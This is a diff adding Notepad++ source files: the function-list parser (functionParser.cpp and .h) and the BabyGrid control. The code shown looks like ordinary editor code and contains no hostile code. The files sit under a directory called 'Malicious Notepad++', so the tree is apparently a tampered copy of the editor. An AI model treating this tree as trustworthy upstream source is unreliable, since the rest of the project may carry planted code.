_parsers[_associationMap[i]._id]; + } + break; + + case checkUserDefined: + { + if (assoInfo._userDefinedLangName == _associationMap[i]._userDefinedLangName) + return _parsers[_associationMap[i]._id]; + } + break; + + case checkExt: + { + if (assoInfo._ext == _associationMap[i]._ext) + return _parsers[_associationMap[i]._id]; + } + break; + + } + } + return NULL; +} + + +void FunctionParser::funcParse(std::vector & foundInfos, size_t begin, size_t end, ScintillaEditView **ppEditView, generic_string classStructName, const std::vector< std::pair > * commentZones) +{ + if (begin >= end) + return; + + if (_functionExpr.length() == 0) + return; + + int flags = SCFIND_REGEXP | SCFIND_POSIX | SCFIND_REGEXP_DOTMATCHESNL; + + (*ppEditView)->execute(SCI_SETSEARCHFLAGS, flags); + int targetStart = (*ppEditView)->searchInTarget(_functionExpr.c_str(), _functionExpr.length(), begin, end); + int targetEnd = 0; + + //foundInfos.clear(); + while (targetStart != -1 && targetStart != -2) + { + targetStart = int((*ppEditView)->execute(SCI_GETTARGETSTART)); + targetEnd = int((*ppEditView)->execute(SCI_GETTARGETEND)); + if (targetEnd > int(end)) //we found a result but outside our range, therefore do not process it + { + break; + } + int foundTextLen = targetEnd - targetStart; + if (targetStart + foundTextLen == int(end)) + break; + + foundInfo fi; + + // dataToSearch & data2ToSearch are optional + if (!_functionNameExprArray.size() && !_classNameExprArray.size()) + { + TCHAR foundData[1024]; + (*ppEditView)->getGenericText(foundData, 1024, targetStart, targetEnd); + + fi._data = foundData; // whole found data + fi._pos = targetStart; + + } + else + { + int foundPos; + if (_functionNameExprArray.size()) + { + fi._data = parseSubLevel(targetStart, targetEnd, _functionNameExprArray, foundPos, ppEditView); + fi._pos = foundPos; + } + + if (not classStructName.empty()) + { + fi._data2 = classStructName; + fi._pos2 = -1; // change -1 valeur for validated data2 + } + else if (_classNameExprArray.size()) + { + fi._data2 = parseSubLevel(targetStart, targetEnd, _classNameExprArray, foundPos, ppEditView); + fi._pos2 = foundPos; + } + } + + if (fi._pos != -1 || fi._pos2 != -1) // at least one should be found + { + if (commentZones != NULL) + { + if (!isInZones(fi._pos, *commentZones) && !isInZones(fi._pos2, *commentZones)) + foundInfos.push_back(fi); + } + else + foundInfos.push_back(fi); + } + + begin = targetStart + foundTextLen; + targetStart = (*ppEditView)->searchInTarget(_functionExpr.c_str(), _functionExpr.length(), begin, end); + } +} + + +generic_string FunctionParser::parseSubLevel(size_t begin, size_t end, std::vector< generic_string > dataToSearch, int & foundPos, ScintillaEditView **ppEditView) +{ + if (begin >= end) + { + foundPos = -1; + return generic_string(); + } + + if (!dataToSearch.size()) + return generic_string(); + + int flags = SCFIND_REGEXP | SCFIND_POSIX | SCFIND_REGEXP_DOTMATCHESNL; + + (*ppEditView)->execute(SCI_SETSEARCHFLAGS, flags); + const TCHAR *regExpr2search = dataToSearch[0].c_str(); + int targetStart = (*ppEditView)->searchInTarget(regExpr2search, lstrlen(regExpr2search), begin, end); + + if (targetStart == -1 || targetStart == -2) + { + foundPos = -1; + return generic_string(); + } + int targetEnd = int((*ppEditView)->execute(SCI_GETTARGETEND)); + + if (dataToSearch.size() >= 2) + { + dataToSearch.erase(dataToSearch.begin()); + return parseSubLevel(targetStart, targetEnd, dataToSearch, foundPos, ppEditView); + } + + // only one processed element, so we conclude the result + TCHAR foundStr[1024]; + (*ppEditView)->getGenericText(foundStr, 1024, targetStart, targetEnd); + + foundPos = targetStart; + return foundStr; +} + + +bool FunctionParsersManager::parse(std::vector & foundInfos, const AssociationInfo & assoInfo) +{ + if (!_pXmlFuncListDoc) + return false; + + // Serch the right parser from the given ext in the map + FunctionParser *fp = getParser(assoInfo); + if (!fp) + return false; + + // parse + int docLen = (*_ppEditView)->getCurrentDocLen(); + fp->parse(foundInfos, 0, docLen, _ppEditView); + + return true; +} + + +size_t FunctionZoneParser::getBodyClosePos(size_t begin, const TCHAR *bodyOpenSymbol, const TCHAR *bodyCloseSymbol, const std::vector< std::pair > & commentZones, ScintillaEditView **ppEditView) +{ + size_t cntOpen = 1; + + int docLen = (*ppEditView)->getCurrentDocLen(); + + if (begin >= (size_t)docLen) + return docLen; + + generic_string exprToSearch = TEXT("("); + exprToSearch += bodyOpenSymbol; + exprToSearch += TEXT("|"); + exprToSearch += bodyCloseSymbol; + exprToSearch += TEXT(")"); + + + int flags = SCFIND_REGEXP | SCFIND_POSIX | SCFIND_REGEXP_DOTMATCHESNL; + + (*ppEditView)->execute(SCI_SETSEARCHFLAGS, flags); + int targetStart = (*ppEditView)->searchInTarget(exprToSearch.c_str(), exprToSearch.length(), begin, docLen); + LRESULT targetEnd = 0; + + do + { + if (targetStart != -1 && targetStart != -2) // found open or close symbol + { + targetEnd = (*ppEditView)->execute(SCI_GETTARGETEND); + + // Treat it only if it's NOT in the comment zone + if (!isInZones(targetStart, commentZones)) + { + // Now we determinate the symbol (open or close) + int tmpStart = (*ppEditView)->searchInTarget(bodyOpenSymbol, lstrlen(bodyOpenSymbol), targetStart, targetEnd); + if (tmpStart != -1 && tmpStart != -2) // open symbol found + { + ++cntOpen; + } + else // if it's not open symbol, then it must be the close one + { + --cntOpen; + } + } + } + else // nothing found + { + cntOpen = 0; // get me out of here + targetEnd = begin; + } + + targetStart = (*ppEditView)->searchInTarget(exprToSearch.c_str(), exprToSearch.length(), targetEnd, docLen); + + } while (cntOpen); + + return targetEnd; +} + +void FunctionZoneParser::classParse(vector & foundInfos, vector< pair > &scannedZones, const std::vector< std::pair > & commentZones, size_t begin, size_t end, ScintillaEditView **ppEditView, generic_string classStructName) +{ + if (begin >= end) + return; + + int flags = SCFIND_REGEXP | SCFIND_POSIX | SCFIND_REGEXP_DOTMATCHESNL; + + (*ppEditView)->execute(SCI_SETSEARCHFLAGS, flags); + int targetStart = (*ppEditView)->searchInTarget(_rangeExpr.c_str(), _rangeExpr.length(), begin, end); + + int targetEnd = 0; + + while (targetStart != -1 && targetStart != -2) + { + targetEnd = int((*ppEditView)->execute(SCI_GETTARGETEND)); + + // Get class name + int foundPos = 0; + generic_string classStructName = parseSubLevel(targetStart, targetEnd, _classNameExprArray, foundPos, ppEditView); + + + if (not _openSymbole.empty() && not _closeSymbole.empty()) + { + targetEnd = static_cast(getBodyClosePos(targetEnd, _openSymbole.c_str(), _closeSymbole.c_str(), commentZones, ppEditView)); + } + + if (targetEnd > int(end)) //we found a result but outside our range, therefore do not process it + break; + + scannedZones.push_back(pair(targetStart, targetEnd)); + + int foundTextLen = targetEnd - targetStart; + if (targetStart + foundTextLen == int(end)) + break; + + // Begin to search all method inside + //vector< generic_string > emptyArray; + if (!isInZones(targetStart, commentZones)) + { + funcParse(foundInfos, targetStart, targetEnd, ppEditView, classStructName, &commentZones); + } + begin = targetStart + (targetEnd - targetStart); + targetStart = (*ppEditView)->searchInTarget(_rangeExpr.c_str(), _rangeExpr.length(), begin, end); + } +} + + +void FunctionParser::getCommentZones(vector< pair > & commentZone, size_t begin, size_t end, ScintillaEditView **ppEditView) +{ + if ((begin >= end) || (_commentExpr.empty())) + return; + + int flags = SCFIND_REGEXP | SCFIND_POSIX | SCFIND_REGEXP_DOTMATCHESNL; + + (*ppEditView)->execute(SCI_SETSEARCHFLAGS, flags); + int targetStart = (*ppEditView)->searchInTarget(_commentExpr.c_str(), _commentExpr.length(), begin, end); + int targetEnd = 0; + + while (targetStart != -1 && targetStart != -2) + { + targetStart = int((*ppEditView)->execute(SCI_GETTARGETSTART)); + targetEnd = int((*ppEditView)->execute(SCI_GETTARGETEND)); + if (targetEnd > int(end)) //we found a result but outside our range, therefore do not process it + break; + + commentZone.push_back(pair(targetStart, targetEnd)); + + int foundTextLen = targetEnd - targetStart; + if (targetStart + foundTextLen == int(end)) + break; + + begin = targetStart + foundTextLen; + targetStart = (*ppEditView)->searchInTarget(_commentExpr.c_str(), _commentExpr.length(), begin, end); + } +} + + +bool FunctionParser::isInZones(int pos2Test, const std::vector< std::pair > & zones) +{ + for (size_t i = 0, len = zones.size(); i < len; ++i) + { + if (pos2Test >= zones[i].first && pos2Test < zones[i].second) + return true; + } + return false; +} + + +void FunctionParser::getInvertZones(vector< pair > & destZones, vector< pair > & sourceZones, size_t begin, size_t end) +{ + if (sourceZones.size() == 0) + { + destZones.push_back(pair(static_cast(begin), static_cast(end))); + } + else + { + // check the begin + if (int(begin) < sourceZones[0].first) + { + destZones.push_back(pair(static_cast(begin), sourceZones[0].first - 1)); + } + + size_t i = 0; + for (size_t len = sourceZones.size() - 1; i < len; ++i) + { + int newBegin = sourceZones[i].second + 1; + int newEnd = sourceZones[i+1].first - 1; + if (newBegin < newEnd) + destZones.push_back(pair(newBegin, newEnd)); + } + int lastBegin = sourceZones[i].second + 1; + if (lastBegin < int(end)) + destZones.push_back(pair(lastBegin, static_cast(end))); + } +} + + +void FunctionZoneParser::parse(std::vector & foundInfos, size_t begin, size_t end, ScintillaEditView **ppEditView, generic_string classStructName) +{ + vector< pair > classZones, commentZones, nonCommentZones; + getCommentZones(commentZones, begin, end, ppEditView); + getInvertZones(nonCommentZones, commentZones, begin, end); + for (size_t i = 0, len = nonCommentZones.size(); i < len; ++i) + { + classParse(foundInfos, classZones, commentZones, nonCommentZones[i].first, nonCommentZones[i].second, ppEditView, classStructName); + } +} + +void FunctionUnitParser::parse(std::vector & foundInfos, size_t begin, size_t end, ScintillaEditView **ppEditView, generic_string classStructName) +{ + vector< pair > commentZones, nonCommentZones; + getCommentZones(commentZones, begin, end, ppEditView); + getInvertZones(nonCommentZones, commentZones, begin, end); + for (size_t i = 0, len = nonCommentZones.size(); i < len; ++i) + { + funcParse(foundInfos, nonCommentZones[i].first, nonCommentZones[i].second, ppEditView, classStructName); + } +} + +// +// SortClass for vector> +// sort in _selLpos : increased order +struct SortZones final +{ + bool operator() (pair & l, pair & r) + { + return (l.first < r.first); + } +}; + +void FunctionMixParser::parse(std::vector & foundInfos, size_t begin, size_t end, ScintillaEditView **ppEditView, generic_string classStructName) +{ + vector< pair > commentZones, scannedZones, nonScannedZones; + getCommentZones(commentZones, begin, end, ppEditView); + + classParse(foundInfos, scannedZones, commentZones, begin, end, ppEditView, classStructName); + + // the second level + for (size_t i = 0, len = scannedZones.size(); i < len; ++i) + { + vector< pair > temp; + classParse(foundInfos, temp, commentZones, scannedZones[i].first, scannedZones[i].second, ppEditView, classStructName); + } + // invert scannedZones + getInvertZones(nonScannedZones, scannedZones, begin, end); + + // for each nonScannedZones, search functions + if (_funcUnitPaser) + { + for (size_t i = 0, len = nonScannedZones.size(); i < len; ++i) + { + _funcUnitPaser->funcParse(foundInfos, nonScannedZones[i].first, nonScannedZones[i].second, ppEditView, classStructName); + } + } +} diff --git a/Malicious Notepad++/src/WinControls/FunctionList/functionParser.h b/Malicious Notepad++/src/WinControls/FunctionList/functionParser.h new file mode 100644 index 0000000..7f49106 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/FunctionList/functionParser.h @@ -0,0 +1,161 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +class ScintillaEditView; +class TiXmlDocument; +class TiXmlNode; + +struct foundInfo final +{ + generic_string _data; + generic_string _data2; + int _pos = -1; + int _pos2 = -1; +}; + +class FunctionParser +{ +friend class FunctionParsersManager; +public: + FunctionParser(const TCHAR *id, const TCHAR *displayName, const TCHAR *commentExpr, generic_string functionExpr, std::vector functionNameExprArray, std::vector classNameExprArray): + _id(id), _displayName(displayName), _commentExpr(commentExpr?commentExpr:TEXT("")), _functionExpr(functionExpr), _functionNameExprArray(functionNameExprArray), _classNameExprArray(classNameExprArray){}; + + virtual void parse(std::vector & foundInfos, size_t begin, size_t end, ScintillaEditView **ppEditView, generic_string classStructName = TEXT("")) = 0; + void funcParse(std::vector & foundInfos, size_t begin, size_t end, ScintillaEditView **ppEditView, generic_string classStructName = TEXT(""), const std::vector< std::pair > * commentZones = NULL); + bool isInZones(int pos2Test, const std::vector< std::pair > & zones); + virtual ~FunctionParser() {}; +protected: + generic_string _id; + generic_string _displayName; + generic_string _commentExpr; + generic_string _functionExpr; + std::vector _functionNameExprArray; + std::vector _classNameExprArray; + void getCommentZones(std::vector< std::pair > & commentZone, size_t begin, size_t end, ScintillaEditView **ppEditView); + void getInvertZones(std::vector< std::pair > & destZones, std::vector< std::pair > & sourceZones, size_t begin, size_t end); + generic_string parseSubLevel(size_t begin, size_t end, std::vector< generic_string > dataToSearch, int & foundPos, ScintillaEditView **ppEditView); +}; + + +class FunctionZoneParser : public FunctionParser +{ +public: + FunctionZoneParser(const TCHAR *id, const TCHAR *displayName, const TCHAR *commentExpr, generic_string rangeExpr, generic_string openSymbole, generic_string closeSymbole, + std::vector classNameExprArray, generic_string functionExpr, std::vector functionNameExprArray): + FunctionParser(id, displayName, commentExpr, functionExpr, functionNameExprArray, classNameExprArray), _rangeExpr(rangeExpr), _openSymbole(openSymbole), _closeSymbole(closeSymbole) {}; + + void parse(std::vector & foundInfos, size_t begin, size_t end, ScintillaEditView **ppEditView, generic_string classStructName = TEXT("")); + +protected: + void classParse(std::vector & foundInfos, std::vector< std::pair > & scannedZones, const std::vector< std::pair > & commentZones, size_t begin, size_t end, ScintillaEditView **ppEditView, generic_string classStructName = TEXT("")); + +private: + generic_string _rangeExpr; + generic_string _openSymbole; + generic_string _closeSymbole; + + size_t getBodyClosePos(size_t begin, const TCHAR *bodyOpenSymbol, const TCHAR *bodyCloseSymbol, const std::vector< std::pair > & commentZones, ScintillaEditView **ppEditView); +}; + + + +class FunctionUnitParser : public FunctionParser +{ +public: + FunctionUnitParser(const TCHAR *id, const TCHAR *displayName, const TCHAR *commentExpr, + generic_string mainExpr, std::vector functionNameExprArray, + std::vector classNameExprArray): FunctionParser(id, displayName, commentExpr, mainExpr, functionNameExprArray, classNameExprArray) + {} + + void parse(std::vector & foundInfos, size_t begin, size_t end, ScintillaEditView **ppEditView, generic_string classStructName = TEXT("")); +}; + +class FunctionMixParser : public FunctionZoneParser +{ +public: + FunctionMixParser(const TCHAR *id, const TCHAR *displayName, const TCHAR *commentExpr, generic_string rangeExpr, generic_string openSymbole, generic_string closeSymbole, + std::vector classNameExprArray, generic_string functionExpr, std::vector functionNameExprArray, FunctionUnitParser *funcUnitPaser): + FunctionZoneParser(id, displayName, commentExpr, rangeExpr, openSymbole, closeSymbole, classNameExprArray, functionExpr, functionNameExprArray), _funcUnitPaser(funcUnitPaser){}; + + ~FunctionMixParser() + { + delete _funcUnitPaser; + } + + void parse(std::vector & foundInfos, size_t begin, size_t end, ScintillaEditView **ppEditView, generic_string classStructName = TEXT("")); + +private: + FunctionUnitParser* _funcUnitPaser = nullptr; +}; + + +struct AssociationInfo final +{ + int _id; + int _langID; + generic_string _ext; + generic_string _userDefinedLangName; + + AssociationInfo(int id, int langID, const TCHAR *ext, const TCHAR *userDefinedLangName) + : _id(id), _langID(langID) + { + if (ext) + _ext = ext; + else + _ext.clear(); + + if (userDefinedLangName) + _userDefinedLangName = userDefinedLangName; + else + _userDefinedLangName.clear(); + }; +}; + + +class FunctionParsersManager final +{ +public: + ~FunctionParsersManager(); + + bool init(generic_string xmlPath, ScintillaEditView ** ppEditView); + bool parse(std::vector & foundInfos, const AssociationInfo & assoInfo); + void writeFunctionListXml(const TCHAR *destFoder) const; + + +private: + ScintillaEditView **_ppEditView = nullptr; + std::vector _parsers; + std::vector _associationMap; + TiXmlDocument *_pXmlFuncListDoc = nullptr; + + bool getFuncListFromXmlTree(); + bool getZonePaserParameters(TiXmlNode *classRangeParser, generic_string &mainExprStr, generic_string &openSymboleStr, generic_string &closeSymboleStr, std::vector &classNameExprArray, generic_string &functionExprStr, std::vector &functionNameExprArray); + bool getUnitPaserParameters(TiXmlNode *functionParser, generic_string &mainExprStr, std::vector &functionNameExprArray, std::vector &classNameExprArray); + FunctionParser * getParser(const AssociationInfo & assoInfo); +}; diff --git a/Malicious Notepad++/src/WinControls/Grid/BabyGrid.cpp b/Malicious Notepad++/src/WinControls/Grid/BabyGrid.cpp new file mode 100644 index 0000000..84cea84 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Grid/BabyGrid.cpp @@ -0,0 +1,3248 @@ +//BABYGRID code is copyrighted (C) 20002 by David Hillard +// +//This code must retain this copyright message +// +//Printed BABYGRID message reference and tutorial available. +//email: mudcat@mis.net for more information. + +/* +Add WM_MOUSEWHEEL, WM_LBUTTONDBLCLK and WM_RBUTTONUP events +Modified by Don HO +*/ + +#include "BabyGrid.h" +#include "Parameters.h" + +#define MAX_GRIDS 20 + +#define MAX_ROWS 32000 +#define MAX_COLS 256 + + +//global variables + + + +HFONT hfontbody,hfontheader,hfonttitle; + +HFONT holdfont; + +struct _gridhandlestruct + { + UINT gridmenu; + HWND hlist1; + TCHAR protect[2]; + TCHAR title[305]; + TCHAR editstring[305]; + TCHAR editstringdisplay[305]; + int rows; + int cols; + int gridwidth; + int gridheight; + int homerow; + int homecol; + int rowheight; + int leftvisiblecol; + int rightvisiblecol; + int topvisiblerow; + int bottomvisiblerow; + int headerrowheight; + int cursorrow; + int cursorcol; + int ownerdrawitem; + int visiblecolumns; + int titleheight; + int fontascentheight; + COLORREF cursorcolor; + COLORREF protectcolor; + COLORREF unprotectcolor; + COLORREF textcolor; + COLORREF highlightcolor; + COLORREF highlightcolorNoFocus; + COLORREF highlightcolorProtect; + COLORREF highlightcolorProtectNoFocus; + COLORREF gridlinecolor; + COLORREF highlighttextcolor; + BOOL DRAWHIGHLIGHT; + BOOL ADVANCEROW; + BOOL CURRENTCELLPROTECTED; + BOOL GRIDHASFOCUS; + BOOL AUTOROW; + RECT activecellrect; + HFONT hfont; + HFONT hcolumnheadingfont; + HFONT htitlefont; + BOOL ROWSNUMBERED; + BOOL COLUMNSNUMBERED; + BOOL EDITABLE; + BOOL EDITING; + BOOL EXTENDLASTCOLUMN; + BOOL HSCROLL; + BOOL VSCROLL; + BOOL SHOWINTEGRALROWS; + //BOOL SIZING; //obsolete + BOOL ELLIPSIS; + BOOL COLAUTOWIDTH; + BOOL COLUMNSIZING; + BOOL ALLOWCOLUMNRESIZING; + int columntoresize; + int columntoresizeinitsize; + int columntoresizeinitx; + int cursortype; + int columnwidths[MAX_COLS+1]; + BOOL REMEMBERINTEGRALROWS; + //int wannabeheight; //obsolete + //int wannabewidth; //obsolete + BOOL INITIALCONTENT; + + } BGHS[MAX_GRIDS]; + + +_BGCELL BGcell,*LPBGcell; + +int BG_GridIndex; +int FindResult; +TCHAR data[1000]; + + + + + + + +CREATESTRUCT cs,*lpcs; + + +int AddGrid(UINT); +int FindGrid(UINT); +void ShowVscroll(HWND,int); +void ShowHscroll(HWND,int); +int BinarySearchListBox(HWND,TCHAR*); +void DisplayEditString(HWND ,int ,TCHAR*); +int CountGrids(); + + + + +//////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////// +//////////////////////////////////////////////////////////////////////// +int HomeColumnNthVisible(int SI) + { + int j,hc,count; + count=0; + hc=BGHS[SI].homecol; + for(j=1;j<=hc;++j) + { + if(BGHS[SI].columnwidths[j]>0) + { + ++count; + } + } + return count; + } + + +void RefreshGrid(HWND hWnd) + { + RECT rect; + int SI; + GetClientRect(hWnd,&rect); + InvalidateRect(hWnd,&rect,FALSE); + SI=FindGrid((UINT)GetMenu(hWnd)); + if(BGHS[SI].EDITING) + { + DisplayEditString(hWnd, SI, TEXT("")); + } + + } + +int GetNextColWithWidth(int SI, int startcol, int direction) + { + //calls with direction == 1 for right, direction == -1 for left + //returns 0 if no more cols in that direction, else column number + int j; + int ReturnValue; + j=startcol; + if(direction == 1){j++;} + if(direction != 1){j--;} + + while((j>0)&&(j<=BGHS[SI].cols)&&(BGHS[SI].columnwidths[j] == 0)) + { + if(direction == 1){j++;} + if(direction != 1){j--;} + } + if((j<=BGHS[SI].cols)&&(BGHS[SI].columnwidths[j] > 0)) + { + ReturnValue = j; + } + else + { + ReturnValue = 0; + } + return ReturnValue; + } + + +int GetRowOfMouse(int SI,int y) + { + int ReturnValue; + if(y<=(BGHS[SI].titleheight)) + { + return -1; + } + if((y>=BGHS[SI].titleheight)&&(y<=BGHS[SI].headerrowheight + BGHS[SI].titleheight)) + { + return 0; + } + + + y=y-(BGHS[SI].headerrowheight + BGHS[SI].titleheight); + y=y/BGHS[SI].rowheight; + ReturnValue = BGHS[SI].homerow + y; + if(ReturnValue > BGHS[SI].rows){ReturnValue = -1;} + return ReturnValue; + } + + +int GetColOfMouse(int SI,int x) + { + int ReturnValue; + int j; + if(x<=BGHS[SI].columnwidths[0]) + { + return 0; + } + + x-=BGHS[SI].columnwidths[0]; + + j=BGHS[SI].homecol; + while(x>0) + { + x-=BGHS[SI].columnwidths[j]; + j++; + } + j--; + + ReturnValue = j; + if(BGHS[SI].EXTENDLASTCOLUMN) + { + if(j>BGHS[SI].cols){ReturnValue = BGHS[SI].cols;} + } + else + { + if(j>BGHS[SI].cols){ReturnValue = -1;} + } + return ReturnValue; + } + +BOOL OutOfRange(_BGCELL *cell) + { + if((cell->row > MAX_ROWS)||(cell->col > MAX_COLS)) + {return TRUE;} + else + {return FALSE;} + } + +void SetCell(_BGCELL *cell,int row, int col) + { + cell->row = row; + cell->col = col; + } + +void CalcVisibleCellBoundaries(int SelfIndex) +{ + int gridx,gridy; + int j; + gridx=BGHS[SelfIndex].gridwidth; + gridy=BGHS[SelfIndex].gridheight; + + + + j= BGHS[SelfIndex].homecol; + BGHS[SelfIndex].leftvisiblecol = BGHS[SelfIndex].homecol; + BGHS[SelfIndex].topvisiblerow = BGHS[SelfIndex].homerow; + //calc columns visible + //first subtract the width of col 0; + gridx = gridx - BGHS[SelfIndex].columnwidths[0]; + do + { + gridx = gridx - BGHS[SelfIndex].columnwidths[j]; + j++; + }while ((gridx >= 0)&&(jBGHS[SelfIndex].cols){j=BGHS[SelfIndex].cols;} + BGHS[SelfIndex].rightvisiblecol = j; + + + + + //calc rows visible; + gridy = gridy - BGHS[SelfIndex].headerrowheight; + j= BGHS[SelfIndex].homerow; + do + { + gridy = gridy - BGHS[SelfIndex].rowheight; + j++; + }while ((gridy > 0)&&(jBGHS[SelfIndex].rows){j=BGHS[SelfIndex].rows;} + BGHS[SelfIndex].bottomvisiblerow = j; +} + + +RECT GetCellRect(HWND hWnd,int SI, int r, int c) + { + RECT rect; + int offset; + int j; + //c and r must be greater than zero + + //get column offset + //first get col 0 width + offset=BGHS[SI].columnwidths[0]; + for(j=BGHS[SI].homecol;j BGHS[SI].columnwidths[c]) + { + rect.right = offset + (trect.right - rect.left); + } + } + } + + //now get the top and bottom of the rect + offset = BGHS[SI].headerrowheight+BGHS[SI].titleheight; + for(j=BGHS[SI].homerow;j0) + { + int high,low; + high = ((c-1)/26); + low = c % 26; + if(high == 0){high = 32;}else{high+=64;} + if(low == 0){low=26;} + low += 64; + wsprintf(buffer, TEXT("%c%c"), high,low); + } + } + else + SendMessage(hWnd, BGM_GETCELLDATA, reinterpret_cast(&BGcell), reinterpret_cast(buffer)); + + rectsave=rect; + DrawEdge(gdc,&rect,EDGE_ETCHED,BF_MIDDLE|BF_RECT|BF_ADJUST); + DrawTextEx(gdc,buffer,-1,&rect,DT_END_ELLIPSIS|DT_CENTER|DT_WORDBREAK|DT_NOPREFIX,NULL); + rect=rectsave; + + r=BGHS[SI].topvisiblerow; + //set font for grid body + SelectObject(gdc,hfont); + while(r<=BGHS[SI].bottomvisiblerow) + { + + //try to set cursor row to different display color + if((r==BGHS[SI].cursorrow)&&(c>0)&&(BGHS[SI].DRAWHIGHLIGHT)) + { + if(BGHS[SI].GRIDHASFOCUS) + { + SetTextColor(gdc,BGHS[SI].highlighttextcolor); + } + else + { + SetTextColor(gdc,RGB(0,0,0));//set black text for nonfocus grid hilight + } + } + else + { + SetTextColor(gdc,RGB(0,0,0)); + } + + rect.top = rect.bottom; + rect.bottom = rect.top + BGHS[SI].rowheight; + rectsave=rect; + SetCell(&BGcell,r,c); + lstrcpy(buffer, TEXT("")); + if((c==0)&&(BGHS[SI].ROWSNUMBERED)) + { + wsprintf(buffer, TEXT("%d"), r); + iProperty = 2 << 4; // iDataType = NUMERIC + } + else + // iProperty will combine (iDataType << 4) and (iProtection & 0xf), + // this will reduce some unnecessary and 'heavy' message calls for getting iDataType and iProtection separately + iProperty = static_cast(SendMessage(hWnd, BGM_GETCELLDATA, reinterpret_cast(&BGcell), reinterpret_cast(buffer))); + + if(c==0) + { + DrawEdge(gdc,&rect,EDGE_ETCHED,BF_MIDDLE|BF_RECT|BF_ADJUST); + + } + else + { + HBRUSH hbrush,holdbrush; + HPEN hpen,holdpen; + iProtection = iProperty & 0xf; + if(BGHS[SI].DRAWHIGHLIGHT)//highlight on + { + if(r==BGHS[SI].cursorrow) + { + if(BGHS[SI].GRIDHASFOCUS) + { + if(iProtection == 1) + hbrush=CreateSolidBrush(BGHS[SI].highlightcolorProtect); + else + hbrush=CreateSolidBrush(BGHS[SI].highlightcolor); + } + else + { + if(iProtection == 1) + hbrush=CreateSolidBrush(BGHS[SI].highlightcolorProtectNoFocus); + else + hbrush=CreateSolidBrush(BGHS[SI].highlightcolorNoFocus); + } + } + + else + { + if(iProtection == 1) + { + hbrush=CreateSolidBrush(BGHS[SI].protectcolor); + } + else + { + hbrush=CreateSolidBrush(BGHS[SI].unprotectcolor); + } + } + } + else + { + if(iProtection == 1) + { + hbrush=CreateSolidBrush(BGHS[SI].protectcolor); + } + else + { + hbrush=CreateSolidBrush(BGHS[SI].unprotectcolor); + } + + } + hpen=CreatePen(PS_SOLID,1,BGHS[SI].gridlinecolor); + holdbrush=(HBRUSH)SelectObject(gdc,hbrush); + holdpen=(HPEN)SelectObject(gdc,hpen); + Rectangle(gdc,rect.left,rect.top,rect.right,rect.bottom); + SelectObject(gdc,holdbrush); + SelectObject(gdc,holdpen); + DeleteObject(hbrush); + DeleteObject(hpen); + } + rect.right -= 2; + rect.left += 2; + + iDataType = iProperty >> 4 & 0xf; + if((iDataType < 1)||(iDataType > 5)) + { + iDataType = 1;//default to alphanumeric data type.. can't happen + } + //if(c==0){iDataType = 2;} + + if(iDataType == 1)//ALPHA + { + if(BGHS[SI].ELLIPSIS) + { + DrawTextEx(gdc,buffer,-1,&rect,DT_END_ELLIPSIS|DT_LEFT|DT_VCENTER|DT_SINGLELINE|DT_NOPREFIX,NULL); + } + else + { + DrawTextEx(gdc,buffer,-1,&rect,DT_LEFT|DT_WORDBREAK|DT_EDITCONTROL|DT_NOPREFIX,NULL); + } + } + + if(iDataType == 2)//NUMERIC + { + DrawTextEx(gdc,buffer,-1,&rect,DT_END_ELLIPSIS|DT_RIGHT|DT_VCENTER|DT_SINGLELINE|DT_NOPREFIX,NULL); + } + + if(iDataType == 3)//BOOLEAN TRUE + { + int k,excess; + k=2; + rect.top +=k; + rect.bottom -=k; + rect.left +=0; + rect.right -=0; + if((rect.bottom - rect.top)>24) + { + excess=(rect.bottom - rect.top)-16; + rect.top += excess / 2; + rect.bottom -= excess / 2; + } + DrawFrameControl(gdc,&rect,DFC_BUTTON,DFCS_BUTTONCHECK|DFCS_CHECKED); + } + + if(iDataType == 4)//BOOLEAN FALSE + { + int k,excess; + k=2; + rect.top +=k; + rect.bottom -=k; + rect.left +=0; + rect.right -=0; + if((rect.bottom - rect.top)>24) + { + excess=(rect.bottom - rect.top)-16; + rect.top += excess / 2; + rect.bottom -= excess / 2; + } + + + DrawFrameControl(gdc,&rect,DFC_BUTTON,DFCS_BUTTONCHECK); + } + + if(iDataType == 5) //user drawn graphic + { + WPARAM wParam; + buffer[0]=0x20; + BGHS[SI].ownerdrawitem = generic_atoi(buffer); + wParam=MAKEWPARAM((UINT)::GetMenu(hWnd),BGN_OWNERDRAW); + SendMessage(GetParent(hWnd), WM_COMMAND, wParam, reinterpret_cast(&rect)); + } + + if(BGHS[SI].EDITING) + { + DisplayEditString(hWnd, SI, TEXT("")); + } + + rect=rectsave; + r++; + }//end while r<=bottomvisiblerow + + { + //repaint bottom of grid + RECT trect; + HBRUSH holdbrush; + HPEN holdpen; + GetClientRect(hWnd,&trect); + trect.top = rect.bottom; + trect.left = rect.left; + trect.right = rect.right; + + holdbrush=(HBRUSH)SelectObject(gdc,GetStockObject(GRAY_BRUSH)); + holdpen=(HPEN)SelectObject(gdc,GetStockObject(NULL_PEN)); + + Rectangle(gdc,trect.left,trect.top,trect.right+1,trect.bottom+1); + + SelectObject(gdc,holdbrush); + SelectObject(gdc,holdpen); + + } + + + SelectObject(gdc,holdfont); + DeleteObject(holdfont); + ReleaseDC(hWnd,gdc); + + + +} + + + + + +void DrawCursor(HWND hWnd,int SI) + { + RECT rect,rectwhole; + HDC gdc; + HPEN hpen,holdpen; + int rop; + if(BGHS[SI].rows == 0){return;} + GetClientRect(hWnd,&rect); + //if active cell has scrolled off the top, don't draw a focus rectangle + if(BGHS[SI].cursorrow < BGHS[SI].homerow){return;} + //if active cell has scrolled off to the left, don't draw a focus rectangle + if(BGHS[SI].cursorcol < 